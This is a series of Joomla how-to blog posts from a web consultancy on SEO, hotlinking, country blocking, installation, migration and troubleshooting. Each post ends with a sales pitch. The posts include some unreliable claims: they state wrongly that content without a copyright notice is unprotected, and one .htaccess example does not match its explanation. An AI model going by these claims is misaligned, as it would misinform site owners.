  • You have the exact same content under different links. For example, you have something like http://www.yourjoomlawebsite.com/featured/yourarticle.html and http://www.yourjoomlawebsite.com/yourarticle.html.

  • You have a printer-friendly and/or pdf versions of your articles, but you’re not using the no-index search engine directive for these versions.

  • Your website is indexed in both the www and the non-www versions. So, if you enter something like “site:www.yourjoomlawebsite.com” and “site:yourjooomlawebsite.com” on Google you will get a different number of results .

Of course, the scenarios for having duplicate content are endless, and may be intentional or non-intentional, but the outcome is still always the same: a lower search ranking than the one your content deserves. So, how do you address duplicate content issues on your Joomla website? Below are some tips for doing this, that are considered to be good practices from a search engine perspective, and that will get rid of the problems above:

  • Use the robots.txt: The robots.txt is always read by search engines. It will tell search engines which pages to index (and subsequently rank) and which pages to not index. The robots.txt file should be placed in the root directory of your website. In order, for example, to block Google/Yahoo/Bing from indexing VirtueMart pages with the ?redirected=1 flag, you will need to add the following line in your robots.txt file:

    Disallow: /*?redirected=1

    The above line tells search engines not to crawl and not to index any page that ends with ?redirected=1 .

    Now let’s disallow indexing of printer-friendly versions of the website. We can do it from robots.txt if the link to the printer friendly version ends with printer=1. Here’s how to do it in this case:

    Disallow: /*printer=1

    Now, every link that ends with printer=1 will not be indexed (of course, you might want to slightly modify this to accommodate your needs).

  • Use the no-index directive: We have explained, in the above, how to use robots.txt to block search engines from indexing your printer-friendly pages. But this can be done also at the page level, by using the no-index directive. All you need to do is add the following code at the top of your printer-friendly page:

    <meta name="robots" content="noindex, nofollow">

    The above will instruct search engines not to index the printer-friendly page, and not to follow any links on that page.

  • Do not have a mix of SEF and non-SEF links on your website: Check your website to see which pages link to non-SEF links and fix these links. Note that if these links are generated by Joomla extensions, then you may need to change the order of the plugins in order to fix the problem. We suggest that you contact Joomla Experts in this situation.

  • Have only one version of your website: By default, any website has two versions: a www version an a non-www. You will need to choose which one to use (it is advisable to go with the one that has the highest PageRank on Google, and let go of the other one). Once you decide on which version to choose, you need to tell search engines about your decision by redirecting (using the .htaccess file) traffic from the version that you do not want to the version that you want. Here’s how to do so (assuming you want to redirect non-www traffic to www):

    RewriteEngine On
    RewriteCond %{HTTP_HOST} ^yourjoomlawebsite.com
    RewriteRule (.*) http://www.yourjoomlawebsite.com/$1 [R=301,L]

  • Ensure that your pages do not contain content copied from other pages on your website: While this is tolerated by search engines when only done in a couple of pages, it is considered as spam in case it’s done in several pages.

Once the above tips are implemented, your website will most likely be more appreciated by search engines, and subsequently your traffic will increase. In case you need help implementing any of the above, then don’t hesitate to contact us. We’re here to help you, we’re very friendly, and we will treat your business as ours. Oh, and be sure to check our very affordable rates!

How to Protect Your Content on Your Joomla Website

Before discussing the topic in the title, we want to say that this is the hundredth post on our blog! Hooray! We took a decision last year to blog nearly 5 times a week about the technical issues that we face during our work on your websites, so that other people can learn from our knowledge! Posts on our blog vary in complexity from very easy to very difficult – but we have striven to make every post easy to read, to understand, and to apply. Also, whenever possible, we have suggested different ways to accomplish the same thing – depending on your technical knowledge and/or depending on your environment.

Now let’s get back to the main topic – how can someone protect content on his Joomla website. The short answer is that there is no way for someone to protect his content on any website (whether it’s Joomla or not) – when the information is public, it just becomes public. For example, if someone reads one of your articles and likes it, he may just copy it and use it elsewhere. However, there are ways to deter non-technical people from stealing your content, such as:

  • Disabling right-clicking: You can disable right clicking on your Joomla website by adding some JavaScript code either in your main template or in a Jumi module that is available on all the pages on your website. Note that technical people can just disable JavaScript to overcome this obstacle (and then they will be able to steal your content).
  • Streaming your videos: Using streaming to display videos is the best way as it’s much lighter on your bandwidth and people won’t just download the video and then place it on another website. Again, this method can be overcome by installing a browser plugin that will allow the download of a streamed video.

  • Blocking access to content thieves: If your website doesn’t receive a lot of traffic, then you’ll be able, after a thorough analysis of your weblogs, to know which IP is stealing content from your Joomla website. You can either block that IP or block the country that hosts this IP altogether. Again, if the person is persistent, then he might try to use a proxy to illegally gain access to your website.

  • Adding a copyright notice: Something like © copyright www.yourjoomlawebsite.com will deter many content thieves, especially those residing in developed countries. Note that every website owner should add this line to every page of his/her website, otherwise, the content of these pages is not copyrighted and thus can be used by anyone in any manner (that’s according to the law). Usually, the copyright notice should be added to the footer of your website (which will make it available on every page). By adding this copyright notice, your content will be protected by the DMCA (Digital Millennium Copyright Act).

  • Checking for duplicates on the Internet: As a website owner, one of the tasks that you should do regularly is to search for content duplicates all over the web. For example, let’s say that you have this sentence in one of your articles: The lazy fox jumped over quick brown dog who was following a frog who was trying to eat a fly. To check for duplicates on the web, you copy this sentence, and you add enclosing quotes, so it will be “The lazy fox jumped over quick brown dog who was following a frog who was trying to eat a fly” and then you search for it on Google. If you see websites other than yours displaying this content (it is very unlikely that another website will have this exact same content by pure coincidence), then they most likely stole it for you. The first thing to do is to alert the website owner telling him to remove the article off his website. If he refuses to do so or if he doesn’t reply, then your next step is to alert Google.

If you need help implementing one or more of the above steps, or if you need further help in protecting your content on your Joomla website, then look no further: we, at itoctopus, will definitely help you. Just contact us and we’ll take it from there!

Joomla Template Is Not Working!

Sometimes you find a very beautiful Joomla template (no, not all Joomla websites are ugly), you download it, and then you install it. Once you try to install it, you will be faced with one of the six following scenarios:

  1. The template works and your website looks exactly as the demo image/website for the template.

    Possible cause(s):

    • The template perfectly matches your Joomla version and doesn’t require extensions that you don’t have installed and activated.

    Action(s) to take:

    • None. You’re now proud of your website and of your work! Congratulations!
  2. The template works, but displays a few errors here and there.

    Possible Cause(s):

    • You are missing some extensions (modules or plugins) that the template requires to work perfectly.
    • The template’s code contains some small errors.

    Action(s) to take:

    • Read the template’s manual to see what kind of extensions it requires. Most templates come with a manual explaining how to install the template and what are the extensions the template needs.
    • Check the template’s code for any error and fix it.

  3. The template works, but doesn’t look exactly as the demo image/website for that template.

    Possible Cause(s):

    • The template requires some extensions, but it is well programmed to work well even without these extensions.

    Action(s) to take:

    • Read the template’s instructions manual and see what are the extensions it needs to work perfectly.
  4. The template doesn’t work, and you see a blank page on your website.

    Possible Cause(s):

    • Your Joomla website is set to hide all errors (regardless of how critical they are) and the template requires the presence of either an extension that you don’t have (or you don’t have installed) or is using a PHP function/class that is not available in your environment.
    • The template you have downloaded contains a fatal error in the code.

    Action(s) to take:

    • Change your configuration settings to show the errors. Once the errors are revealed, then you can examine where the error is originating from and you will be able to know how to solve the problem.
    • Check to see if there’s a call to a PHP function that you don’t have. If this is the case then contact your hosting company with the problem; they will be able to sort it out for you.

  5. The template doesn’t work, and you see a page full of errors on your website.

    Possible Cause(s):

    • The template cannot work without one or more extensions, and you don’t have this(these) extension(s) installed and activated. (Note that these required extensions are usually plugins)
    • There is a PHP error in the actual code of the template.

    • There is a call to a PHP function or a PHP class that does not exist in your environment.

    Action(s) to take:

    • Check each and every error message to see what are the files that the template is complaining that it cannot find. These missing files usually tell you what are the extensions that you need but you don’t have to run this template.
    • Read the instructions manual of the template. It will usually tell you what are the extensions that the template needs.

    • Check to see if the errors are about complaints to non-existing functions that seem to be PHP functions. If this is the case, then you will need either to contact your hosting provider (as described above) or try to create equivalent functions yourself.

    • Check to see if the errors are about a missing semi-column here or there or some wrong PHP code. If this is the case, then you will need to fix these errors in the template yourself or have some Joomla Experts fix it for you.

  6. The template cannot be installed.

    Possible Cause(s):

    • The template is written for a Joomla version other than the one you have on your website. For example, you’re trying to install a Joomla 1.5 template on your Joomla 1.7 website (or vice versa).
    • The template’s XML file is not well formatted and the Joomla template installer is unable to recognized it as a definition file for your Joomla template.

    Action(s) to take:

    • Check the XML file for the template to see if it’s written for your Joomla version or not. If the Joomla template is written for another Joomla version than the one you have, then either fix it so that it can work on the Joomla version of your choice or just search for a different template altogether.
    • Check the XML file for the template to see if it contains any errors (unclosed tags, etc…) and fix these errors.

If you run into any problem installing a Joomla template, then feel free to contact us. We’re always ready to help and our rates are extremely affordable!

How to Prevent Hotlinking in Joomla

Hotlinking is one of the most annoying problems on the Internet that website owners have to deal with. Hotlinking is when one website includes in one or more of its pages a reference to one or more of your images (or videos, or pdf documents, or music files, etc…). In other words, let’s say that you have, on your Joomla website (let’s call your website yourjoomlawebsite.com), an image called robot.jpg under the images/stories directory. That image is about 1 MB in size. Another website (let’s call it leecherwebsite.com) has a page called leecherpage.html that has some text and the following HTML code:

<img src="http://yourjoomlawebsite.com/images/stories/robot.jpg" title="checkout this cute robot!" alt="checkout this cute robot!">

As you can see, the page leecherpage.html directly referenced your image on your website, which means that every time someone visits that page, that someone will consume from your bandwidth (because your website will serve the image). The problem gets worse when the image is retrieved from the database (and not stored on the file system) because of the overhead on your database engine and subsequently your processing power (which will eventually make your website slower). The problem gets far, far worse when a page is hotlinking to one of your self-hosted videos – this will literally drain your bandwidth.

In short, hotlinking (also referred to as leeching or inline linking) is theft of bandwidth, but there is currently no law (at least a law that we’re aware of) that prevents a website from hotlinking to another website. So what can you do to prevent hotlinking to your Joomla website?

Well, the only way to prevent hotlinking is by editing the .htaccess file, which can be found in the root directory of your website. So, you will need to add the following lines to your .htaccess file:

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?yourjoomlawebsite.com/.*$ [NC]
RewriteRule \.(bmp|gif|jpg|png|svg|avi|mp3|wmv|css|js|pdf)$ - [F]

The above lines will block hotlinking to nearly all of your images, movies, MP3 files (music files), CSS files, JavaScript files, and PDF files. You can also prevent hotlinking to more file types, all you need to do is add the extension type of that file in the last line. For example, if you also want to prevent hotlinking to your xml files, then the last line in the above code will be:

RewriteRule \.(bmp|gif|jpg|png|svg|avi|mp3|wmv|css|js|pdf)$ - [F]

If you need help in preventing hotlinking to your Joomla website, then you can just contact us. We’re always a call or an email away, we’re very helpful, and we’re very friendly! Oh, and our rates are super cheap!

How to Set Meta Tags on sh404 Using PHP

If you want to enhance your Joomla website’s SEO, the first thing that you will need to work with is your meta tags, particularly the description meta tag. If you’re using sh404, you can set the meta description for each page using the sh404 interface. However, this method is not convenient for the following couple of reasons:

  1. If you have duplicate links you will need to change the meta description for each and every link. (sh404 works on a link basis, and not on a page basis)
  2. It will take a long, long time trying to set the description meta tag if you have a VirtueMart store with thousands of products.

So, what can you do to overcome this problem? Well, the solution is simple, you just modify the PHP code in the file shPageRewrite.php, which is located under /your_joomla_website_folder/components/com_sh404sef folder.

Let’s assume that your VirtueMart store has thousands of products, and only a few have a meaningful description. The product description will be automatically used by Joomla for meta description for those products that already have a description, but what about the other products? Obviously, they will not have a meta description, which will adversely affect your SEO standings. Now, an excellent way to handle this issue is by automatically creating a proper meta description for each and every product to do the following:

  • Get the product ID (you can easily get it from the Joomla get parameters).
  • Get the category ID.
  • Create a function that will get the product name and another one that will get the category name.
  • Get the top 10 products falling under this product’s category.
  • Create a meta description for the product that sounds something like “Product A belongs to Category C. Products similar to Product A include here goes a list of the top 10 products falling under Category C.

The above code should be placed in the file shPageRewrite.php, just after the following code:

      if (!is_null($shCustomDescriptionTag)) {
        $t = htmlspecialchars( shCleanUpDesc($shCustomDescriptionTag), ENT_COMPAT, 'UTF-8');
        $t = preg_replace( '#\$([0-9]*)#', '\\\$${1}', $t);

The string resulting from your above code should be placed in the $t variable.

As you can see, this is pretty advanced stuff, and you need to be a programmer in order to do this. Now, if you’re not a programmer and you need help implementing the above, then you can rely on us. We have worked on many, many Joomla websites and we are confident we can help you with yours. Just contact us and we’ll take it form there. Don’t worry, our fees are very fair!

How to Remove the Category ID from the Page Title in VirtueMart

A couple of days ago a customer approached us with the following problem: His Joomla’s VirtueMart shop was displaying the category ID in the title of the page of each category details page. So, for example, instead of having something as “Cheap TVs” as the page title, his page title was “72-Cheap TVs”. Obviously, this is a big hit when it comes to SEO.

Further examination of his website revealed that:

  • He was using sh404 for URL rewriting. (if only we had a penny everytime someone had a problem with this extension!)
  • He enabled sh404 for his VirtueMart shop.
  • He chose to Insert the category ID in the URL. (this is a setting in the sh404 settings for VirtueMart)

Here’s what we did to fix the problem:

  • We opened the file containing the code responsible for adding the category ID – this file is components/com_sh404sef/meta_ext/com_virtuemart.php
  • We found the function vm_sef_get_category_title (which can be usually found at line 63 of the above file)
  • We changed the following code:

    $title .= ($sefConfig->shInsertCategoryId ?
        $tree[ $category_id ]->category_id.$sefConfig->replacement : '')
        .$tree[ $category_id ]->category_name. ' | ';

    to

    $title .= $tree[ $category_id ]->category_name. ' | ';

  • That fixed the problem!

This is clearly a bug in sh404, but obviously the sh404 people don’t want to admit that it’s their problem, although the code that is behind this bug is clearly in one of their components/files.

If you are experiencing the same problem (where your page title in VirtueMart is displaying the category ID) or a similar problem (or even any other problem in Joomla) then feel free to contact us. We’re here to help, we’re efficient, we’re fast, we’re friendly, and we’re not expensive!

How to Block a Whole Country on Your Joomla Website?

We have explained before on how to block a specific IP or range of IPs from accessing your Joomla website. Since we have published that article, we had many requests asking us on how to block a specific country from accessing a Joomla website.

Now why would anyone want to block a whole country (or even several countries) from accessing his or her Joomla website?

There are several reasons for this, the most important ones are:

  • There is too much spam coming from that particular country: The owner’s website is flooded with spam (such as comment spam and referral spam) coming from that country.
  • There is too much fraud coming from that particular country: For example, the owner of the Joomla website runs a VirtueMart store and most transactions coming from that country are fraudulent.

  • Too many invalid clicks on ads: Some Joomla websites are content websites, where owners write content and make money when people click on the ads that are placed on their pages. If the owner receives a lot of invalid clicks, then his revenue will be affected (the invalid clicks will not only be discounted, but will also affect the valid clicks). Some countries are known for sending mostly invalid clicks.

  • Preventive measure against hacking: A few countries (because of the lax regulations when it comes to enforcing Internet security) are infamous of being the source of hacking attacks on many websites.

  • The country is sending too much automated traffic: This automated traffic can be automated spam, scraper bots, etc…

There are also many other reasons for a Joomla website owner to block traffic from a specific country…

Now, the question is, can this be done? And if yes, then how can it be done?

Well, we’re happy to say that this can be done, but it’s not easy… Here’s a step by step guide on how to block traffic from a whole country to your Joomla website:

  1. Download the IP to Country (also referred to as Geo IP) database available here.
  2. Import the above file into a MySQL table (an empty MySQL table).

  3. Copy the following code into your index.php file:

    function ipToNumerical($ip){
    		$arrIP = explode('.', $ip);
    		$multiplier = 1;
    		$numericalIP = 0;
    		for ($i = count($arrIP) - 1; $i >= 0; $i--){
    			$numericalIP += $arrIP[$i] * $multiplier;
    			$multiplier *= 256;
    		}
    		return $numericalIP;
    }

    The above script will translate an IP address to its numerical equivalent (for example: the numerical value of 174.91.225.215 is 2925257175 [215 x 1 + 225 x 256 + 91 x 256 x 256 + 174 x 256 x 256 x 256])

  4. Now that you have the script to get the numerical value of the IP, add another script to your index.php that will get the IP of the visiting user, translate that IP into its numerical value, and check the country that this value is assigned to (this can be done by doing a small query that will check which row has the range that this numerical value falls in). If you get a country that you are banning, then just call the function die.

  5. If you need help doing the above, then we can do it for you, it’ll only take us 8 hours and our fees are very fair! Just contact us and see how fast, efficient, and friendly we are!

    Note: An even better way of doing this is doing it through a plugin that runs on every page of the website before everything else. This is how we will do it for you! We have mentioned the above process because it’s simply easier.

Unable to Save Global Configuration in Joomla

You think that it’s time to enable caching, or you think that you want to rewrite your URLs, or you want to take your website temporarily offline, so you just change the configuration settings in your Joomla website, you click on Save on the top right, and you are greeted by the following error:

An Error has occurred! Unable to open configuration.php file to write!

Instead of seeing this success message:

The Global Configuration details have been updated.

You try it again, and again, and again… But you always see the same error message, where Joomla complains that it’s not able to write to the configuration file. So, why are you seeing this error, and how do you fix it?

Why are you seeing this error?

The global configuration settings of your Joomla website are saved to a file, and not to the database (it is not possible to save the global configuration information to the database, as this information consists of – among others – the connection parameters to the database, so you need this information before connecting to the database). This global configuration file is called configuration.php and is located under the root directory of your Joomla website. When you try to update your configurations settings, Joomla opens this file in writing mode, and writes your new information to it. So, if Joomla is unable to write to this file, then you will see this error (by the way, when you see this error it means that your new settings did not take effect). But what are the reasons that prevent Joomla from writing to the configuration.php file?

In our experience, there are two reasons:

  1. The permissions on your configuration.php are only set to read (for example 444/-r–r–r–) for all groups.
  2. There are some filesystem/server related issues that are preventing write activities. For example, the server hard disk is write-protected.

Of course, the most common reason for this problem is the first one…

How do you fix the problem

The first thing to do is to check the permissions on your configuration.php file (again, the file is located under the root directory of your website, so it’s most likely under public_html or public_html/yourdomainname.com). You can check the permissions by connecting through FTP to your website, and then right clicking on the configuration.php, and then seeing what the permissions are (note: the process of checking the permissions varies greatly from one FTP client to the other). Now, if you see something such as 444 or -r–r–r– (note that non-writable permissions can be something else), this means that the permissions on your configuration file only allow the file to be read by all groups. The best thing to do in this case is to change the permissions for the configuration.php file to 666 or to -rw-rw-rw-1 2. Instructions on how to do so vary from one FTP client to the other, but they should be straightforward. Now login to your Joomla’s control panel using a super administrator account, and try changing some configuration settings and click on “Save” at the top right and see if it works for you3. If it doesn’t, the move to the next step…

Now if you’re still reading, then it means that your Joomla still can’t write the settings to the configuration.php file4, and it’s most likely not a permission issue. So the best thing to do in this situation is to contact the website host and tell them that your website is unable to write to the configuration.php file and they’ll fix it for you.

If you think that you still need help, then that’s why we’re here! Just contact us and we’ll take care of this problem in no time. And don’t worry, our fees are very competitive. Oh, and we’re very friendly!

1If you’re unable to change the permissions on your configuration.php file, then it means you’re not allowed to by your web host. Check with them on how to address this problem.
2If the original permissions are anything other than 666, then change them to 666 and see if Joomla is able to save you configuration settings.
3Once you’re done, it is advisable to change the permissions of your configuration.php file to 444, regardless of the original permissions.
4In some very rare cases where Joomla is unable to write its settings to the global configuration file, the reason can be that someone changed your status from a super administrator to something lower (just when you tried to save the configuration settings), and only super administrators can update the Joomla configuration. If this is the case, however, you will most likely see a different error from Joomla (not the one stating that it’s unable to write to the configuration file).

What Is the Fastest Way to Install Joomla?

Sometimes, especially if you’re on a slow connection or if your website is hosted overseas (with a slow host), the Joomla installation can take a long time, mainly because of the time it takes to upload several thousand files to your server (Both supported versions of Joomla: Joomla 1.5.25 and 1.7.3 have over 4,000 files each – imagine how much time it takes if the upload of each file takes only a second).

So, what can you do to install Joomla in a few minutes? Well, there are a couple of options, depending on whether you have shell access to the server or not.

If you have shell access to the server

  • Login to the shell
  • Download the Joomla installation using wget:

    • The code for downloading Joomla 1.5.25 using wget is:

      wget http://joomlacode.org/gf/download/frsrelease/16026/69665/Joomla_1.5.25-Stable-Full_Package.zip

    • The code for downloading Joomla 1.7.3 using wget is:

      wget http://joomlacode.org/gf/download/frsrelease/16024/69674/Joomla_1.7.3-Stable-Full_Package.zip

  • Extract the Joomla zip file that you just downloaded

    • The code to extract (unzip) the Joomla 1.5.25 zipped installation is:

      unzip Joomla_1.5.25-Stable-Full_Package.zip -d your_www_directory (your_www_directory is your public_html directory and it is something like : /home/www/)

    The code for extracting the Joomla 1.7.3 zipped installation file is exactly the same as above, you just need to change the name of the file to that of Joomla 1.7.3.

  • Now point your browser to the domain of your website and follow the instructions. Of course, Joomla needs a database to install its data to, so you will need to create a database (empty – no tables) or use a database that already exists (make sure you’re using a table prefix that is not already used in this database!)

If you have cPanel

Now, if you don’t have shell access to your website, then another method to install Joomla rapidly is installing it through cPanel (provided your hosting provider has given you cPanel access – most of them do these days). All you need to do is the following:

  • Download the latest Joomla installation as a zip file and save this zip file to your PC.
  • Upload the zip file from your PC to your public FTP directory (or to any other directory of your choice).

  • Login to your cPanel account.

  • Click on File Manager (which should be in the third box from the top in your cPanel interface).

  • Now choose Public FTP Root from the directory selection (or the directory where you uploaded the Joomla zipped file if you uploaded it to another directory other than the public FTP directory).

  • Once the File Manager is open, click on the name of the zipped Joomla file, and then click on Extract, and then choose /public_html or /public_html/yourdomainname as the directory to extract Joomla to. Be careful, if you choose /public_html, and there is already a website installed there, then you will overwrite it. Do this very carefully!

  • That’s it! You’re done! You can now go http://yourdomainname.com/ and follow the instructions to install Joomla (you will need to create an empty database for Joomla to install its data)

The above 2 methods are the fastest ways to install Joomla, it only takes a few minutes to install Joomla if you follow any of these methods.

Now, if you’re in a hurry and you think that you need help doing the above, then we’re always here, 24/7/365! Just contact us and we’ll do it for you immediately (we’ll only charge you for an hour of work – check our latest fees to see how much that’s going to cost you – don’t worry, it’s not going to be much).

How to Migrate from osCommerce to VirtueMart?

Every once in a while, we get a new (or an existing) customer asking us to migrate his osCommerce website to VirtueMart. Some of these customers already own a Joomla website and know how powerful it is and they know that VirtueMart is a reliable alternative for osCommerce (these customers usually run their osCommerce website in a subdomain such as shop.theirdomainname.com under their main Joomla website). Those who do not already have a Joomla website have heard from their friends or acquaintances that Joomla is very easy to use (much easier than osCommerce) and that it’s supported by a much larger community and that its VirtueMart e-commerce extension is nearly as powerful as osCommerce.

Now, the first thing that we tell our (potential) customers when we get this request: It’s not easy. Here’s why:

  • osCommerce is a CMS with a native shopping cart. This means that while the main purpose of having osCommerce is to sell products(digital or non-digital)/services online, the osCommerce website still has many non-ecommerce related pages. These pages cannot be migrated to VirtueMart, but rather to Joomla, which means that it comes down to osCommerce to Joomla migration, and not osCommerce to VirtueMart migration.
  • osCommerce has contributions, which is a very similar concept to Joomla’s extensions. If one wishes to migrate the whole website, these contributions should either be rewritten as Joomla extensions or he should find similar Joomla extensions that will mimic these contributions. Note that not only the code for these contributions should be ported, but also the data.

  • Tables and table structures are completely different between VirtueMart and osCommerce, so it’s not about exporting data from one table and importing in into another. The data in an osCommerce table can be spread over 3 tables in a VirtueMart instance, and vice versa.

Although there are only 3 challenges in the above, they are really big challenges, and so it takes a lot of time to migrate a whole osCommerce website to a Joomla website (especially when the contributions need to be migrated as well – we’re talking about a month of work here).

Now, of course, this migration would be very costly, so are there any alternatives?

Well, the only alternative to the above is to do a partial migration, which is just the migration of the osCommerce ecommerce data to Joomla and VirtueMart. This means that all the database tables that deal with the ecommerce functionality need to be migrated to Joomla and VirtueMart. These tables relate to the following:

  • Store settings
  • Users (Buyers)
  • Product Categories
  • Products
  • Promotions/Coupons
  • Orders
  • Vendors/Manufacturers
  • Taxes
  • Shipping
  • etc…

There is a lot of data that needs to be migrated, and that’s why the process will still take a week (5 working days or 40 hours – check our fees to see what the total cost will be for the migration) to finish. But is it worth it? Well, let’s check the benefits of migrating from osCommerce to VirtueMart…

What Are the Advantages of Migrating from osCommerce to VirtueMart?

  • Ease of use: osCommerce is a very powerful ecommerce CMS, but it’s also very complicated and thus very hard to use. Joomla, on the other hand, is much easier when compared to osCommerce. Doing something on Joomla takes (in many cases) just a fraction of the amount of time required to do the same thing on osCommerce.
  • Better support: Joomla has way better support than osCommerce. Joomla is much bigger (in terms of community), more important, and more supported products than osCommerce. Just look at the number of extensions that Joomla has versus the number of contributions that osCommerce has. Whatever new functionality you have in mind for your Joomla website, there is most likely a Joomla extension already developed for it.

  • More integration: This point mostly applies to those running an osCommerce within their Joomla website. Imagine the trouble that they have to go through whenever they need to change their design for example. They need to change their design on 2 websites! Often even the simplest and most trivial website updates will take more than double the amount of time required to do. Website upgrades can take up to a week, just because the integration between the two products is often very loose.

I think we have established clearly that this move will save you a lot of money and a lot of time on the medium and the long term. So why wait?

Some Frequently Asked Questions

Will the products’ URLs be the same when we migrate from osCommerce to VirtueMart?

Most likely no. If you wish to ensure that that the URLs of your products under VirtueMart are the same as those under osCommerce then this will take us about 8 hours of extra time.

How hard is VirtueMart when compared to osCommerce?

VirtueMart is very easy to use (it’s a Joomla extension, after all), we can’t say the same thing about osCommerce.

How powerful is VirtueMart when compared to osCommerce?

When it comes to power and versatility, osCommerce is the winner (but not by much). But ask yourself, what are the features that exist in osCommerce and that don’t exist in VirtueMart that you really need?

Will the functionality be migrated as well?

Only VirteMart supported functionality will be available. Functionality that is exclusive to osCommerce will not be migrated (but can be migrated for an extra fee).

What are the pitfalls for this migration?

There are many pitfalls that companies with no experience in this migration process fall into, too many that if we list them all, this post will turn into a paper! Nevertheless, the most comm ones are:

  • Migrating the data but not migrating the files (images, documents, etc…)
  • Not migrating the data to the right places or not migrating the data to all the necessary places
  • Not placing the migrated files in the right directory(ies) and/or not creating this directory (these directories)

Why not migrate VirtueMart to osCommerce?

Well, that can be done, but this is like moving in programming languages from C to Assembly. VirtueMart is much easier, and is nearly as powerful. Why make your life complicated when you can make it easier?

Now if you need help migrating your osCommerce data to VirtueMart, and you are overwhelmed by the amount of work needed to do so, then fear not. We can do it for you! Just contact us and see how rapidly and efficiently we can do this!

Images Not Appearing on Your Joomla Website?

Quite often, we have customers coming to us and telling us that they have some images that are not appearing on their Joomla website. After investigation, it all comes down (mainly) to three reasons:

  1. Joomla SEF or an equivalent URL rewrite extension
  2. The short_open_tag directive in php.ini
  3. The asp_tag directive in php.ini

Let us discuss each one of the above.

Joomla SEF causing images not to display

As a rule, the URL rewriting on the page must happen after the content is generated on the website, and before the cache. This means that under Extensions“Manage Plugins”, you need to make sure that the order of the Joomla SEF plugin is after all the content plugins, but before the Joomla Cache plugin.

If the URL rewriting happens before that stage, then some of the URLs generated may be broken or may not be rewritten. However, the Joomla SEF is sometimes too smart even for its own good, as it tries to rewrite/manipulate URLs that are already rewritten or that do not need to be rewritten, including URLs of images. So if this thing happens, you will have broken images on your website. The solution to this problem is to search for the plugin that generates the affected content (usually it’s not a core plugin) and make sure that its ordered to be executed after the Joomla SEF runs. You might be wondering, isn’t this against the rule that we talked about earlier? It is, but then again, this is programming, and there are many, many exceptions to every rule.

How do you know instantly that the problem is related to Joomla SEF plugin?

In order to know in less than 1 minute whether the Joomla SEF plugin is the culprit, disable it, and then check if the images are now appearing, if they are, then for sure the reason for them not appearing is the URL rewriting.

short_open_tag PHP directive is set to off – but it is used

Let’s say you move your Joomla website to another (new?) server, and then you start testing it. Everything works perfectly, except that some of the images are no longer displaying. You try everything, you even disable the Joomla SEF plugin and your turn off URL rewriting, but yet the images are still not appearing. You’re lost. You then decide to check the code of your HTML page, to see how the images are linked to, and to your surprise, here’s what you see:

<img src="<? echo(YOUR_DOMAIN_URL.'/images/your_missing_image.jpg'); ?>">

You think, odd… This looks like it’s still written in PHP, why is that? Well, the reason is that the above was not parsed by the PHP parser is that it’s using something called short open tags, whereby the programmer uses <? to open the PHP tags (where he writes PHP code), instead of using the <?php . There are four ways to fix this problem:

  1. Open your php.ini file, search for the directive short_open_tag, and change its value to on instead of off.
  2. Create a local php.ini (which is a copy of the global php.ini), put it in the root directory of your website, and change the value of the short_open_tag directive to on.
  3. Open your index.php file in the root directory of your Joomla website and type the following (in the first line, before any code starts, but after <?php ): ini_set( "short_open_tag", 1 );
  4. Locate the file(s) that contains this code <? and change it with <?php

asp_tags PHP directive is set to off – but it is used

There are programmers that have ASP background (ASP is a web scripting language developed by Microsoft) and they’re used to the ASP tags and so they write code like the following line:

<%=YOUR_DOMAIN_URL.'/images/your_missing_image.jpg'%>.

The problem though with the above line that it won’t work if the asp_tags directive is not set to on. You have 3 ways to fix this problem:

  1. Open your php.ini file, search for the directive asp_tags, and change its value to on instead of off.
  2. Create a local php.ini, put it in the root directory of your website, and change the value of the asp_tags directive to on.
  3. Locate the file(s) that contains this code <% and change it with <?php

There are, of course, many other reasons for the images to disappear or not appear in the first place on your website, including:

  • Wrong PHP script used to display the images
  • Path to the images has changed
  • Read permissions not given on the images directory

If you need any help with your Joomla website not displaying the images, then feel free to contact us. We’re always friendly, our fees are reasonable, and we’re always there!

Virtuemart Security Warning

We had an interesting problem a few days ago. One of our customers was using VirtueMart to run his online store, and he had a security warning on his secure (https://) checkout page, claiming that his checkout page contained some secure and non-secure items.

Here are the errors that our customer was experiencing:

  • On Internet Explorer: “Do you want to view only the webpage content that was delivered securely?” and the message continues “This webpage contains content that will not be delivered using a secure HTTPS connection, which could compromise the security of the entire webpage”.
  • On Chrome: “Your connection with ‘yourdomainname.com’ is encrypted with 256-bit (or 128-bit) encryption. However, this page includes other resources which are not secure. These resources can be viewed by others while in transit, and can be modified by an attacker to change the behavior of the page.”

  • On Firefox: Firefox displays a full page with the header “Connection Is Untrusted”.

In any case, leaving the VirtueMart security warning as it is means substantially less sales for our customer (customers do not want to buy from an “untrusted” website). According to our experience, there are 3 reasons for this to happen:

  • Linking to an image without using https:// while in secure mode
  • Linking to a CSS file without using https:// while in secure mode
  • Linking to a JavaScript file without using https:// while in secure mode

Now the most common reason for this to happen is when Joomla administrators install a poorly written extension to include an external widget. This widget usually requires a JavaScript file and tries to include in non-secure mode.

For this particular client, we checked for everything, literally everything: Are the images all linked to by using https? Are all CSS files properly included (also using https)? Are all JavaScript files included the right way (again, using https)? All our checks concluded that the website was clean, but why were all the browsers stating that there is a “mixed content” of secure and non-secure items. What wre those non-secure items and where are they?

We then applied the concept of minimax elimination to solve this problem: we saved an HTML copy of the checkout page of VirtueMart, we called it test.html, and then we uploaded it back to the Joomla website of our client. We then tested this page in https mode (by visting https://www.ourclientswebsite/test.html, and the warnings, of course, still appeared. We then started removing chunks of code from the HTML page and uploading it back and then testing (to see if the page passes). We did this until the page finally showed no warnings in https mode. We then reverted back the previous chunk, and made it smaller, until we discovered the exact lines that were causing problems. These lines were CSS files, it was the way that they were included (our client was using a YOOtheme template). In case you are curious, here are the lines (please note that the following lines do not reveal the identity or any other information about our client, as they are standard in YOOtheme templates):

<link rel="stylesheet" href="css:styles/plain-blue.css" type="text/css"/>
<link rel="stylesheet" href="css:styles/color-blue.css" type="text/css"/>
<link rel="stylesheet" href="css:styles/plain.css" type="text/css"/>

The way the CSS files were included (href=”css:styles/plain.css”) was the culprit behind the mixed content on the VirtueMart checkout page.

What we did to solve the problem

We created a condition to hide the above CSS files (they didn’t have any effect on the look&feel of the website anyway) in the following template file: /public_html/templates/yoo_vanilla_j15/layouts/template.config.php. Here’s the code that we added (it is in bold):


//include these files when not in https mode
if ($_SERVER['HTTPS'] != "on"){

	$this->warp->stylesheets->add("css:styles/{$style}-{$bgcolor}.css");
	$this->warp->stylesheets->add("css:styles/color-{$color}.css");
	$this->warp->stylesheets->add("css:styles/{$style}.css");

}

As you can see, we are only including the problematic CSS files in non-https mode.

What we have learned from this experience:

